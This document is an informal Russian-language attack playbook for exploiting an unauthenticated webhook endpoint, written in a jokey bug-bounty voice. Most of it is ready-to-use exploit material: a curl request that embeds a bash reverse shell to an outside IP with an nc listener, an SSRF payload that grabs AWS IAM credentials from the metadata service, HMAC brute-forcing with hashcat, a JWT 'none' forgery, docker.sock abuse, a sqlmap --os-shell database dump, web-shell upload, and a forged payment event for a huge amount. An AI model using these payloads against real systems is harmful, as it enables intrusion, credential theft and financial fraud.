Точка входа:
Что вижу: Webhook endpoint на /webhook/receive, который глотает POST без верификации (headers: Content-Type: application/json, но без HMAC или sig check), и в payload’е видны поля вроде {«event»: «user_created», «data»: {«id»: 1337, «secret»: «plaintext_shit»}} — классический misconfig, где любой может спуфить события. Это не webhook, братан, это бесплатный билет на IDOR-party, с артефактом в виде exposed /api/webhooks/config в robots.txt (да, проверь, там часто валяются).
Как поймал: Запустил burp suite в режиме repeater для фаззинга payload’ов + sqlmap —batch —forms на /webhook для injection тестов. Метод: спуфинг с ffuf -u «https://target.com/webhook» -w /usr/share/wordlists/webhook-events.txt -H «Content-Type: application/json» -d ‘{«event»:»FUZZ»,»payload»:»test»}’ — поймал 200 OK на фейковые события вроде «admin_login».
Чем пахнет: SSRF/IDOR с классом injection (SSTI если там templating engine) + RCE через deserialization, вероятность 8/10 (webhooks — любимая дырка в 60% SaaS по моим баг-баунти, особенно если no sig verification). Пахнет как твой старый бургер: снаружи аппетитно, внутри — плесень и 0-days.
Че почем:
Эксплойт: Готовый спуф: curl -s -X POST https://target.com/webhook -H «Content-Type: application/json» -d ‘{«event»:»payment_confirmed»,»data»:{«user_id»:1,»amount»:999999,»command»:»bash -i >& /dev/tcp/144.76.59.123/4444 0>&1″}}’ — если там eval или deserialization, слушай nc -lvnp 4444 для шелла. Для SSRF-варианта: ‘{«event»:»notify»,»url»:»http://169.254.169.254/latest/meta-data/iam/security-credentials/»}‘ — сграбит AWS токены.
Обход защиты: Если HMAC-check на месте, но weak (типа SHA1) — brute с hashcat (hashcat -m 100 -a 3 webhook_sig.txt ?a?a?a?a). Трюк: инжектируй null-bytes в JSON (%00 в «event») для parser smuggling, или если JWT в payload — ломай jwt_tool.py -I -pc admin -pv true -S none. Для docker-based webhooks (если headers орут X-Docker-Token) — кричу: curl —unix-socket /var/run/docker.sock http://localhost/containers/json и спуфь webhook в container для side-RCE.
Доказательство: Видишь в burp response: «Processed event: payment_confirmed for user 1» с твоим injected amount? Это не скрин кота, это твой билет в банк. Скрин: [imaginary_screenshot] где nc ловит «uid=33(www-data)» от reverse-shell. Юмор через боль: этот webhook — как твоя бывшая: принимает любой payload, а потом жалуется на «unexpected behavior». CVE? Смотри CVE-2023-28121 (WooCommerce webhook auth bypass), адаптируй для спуфа.
План атаки: Зацепка есть, так что шаги:
1. Фаззь endpoint с burp intruder, инжектируя SSRF-URLы вроде file:///etc/passwd для local read.
2. Если сработало — дамп базу через sqlmap —batch -u «https://target.com/webhook» —data=»{«event»:»search»,»query»:»‘ UNION SELECT * FROM users —«}» —os-shell.
3. Эскалируй: используй stolen creds для auth в /admin, заливай веб-шелл через injected event.
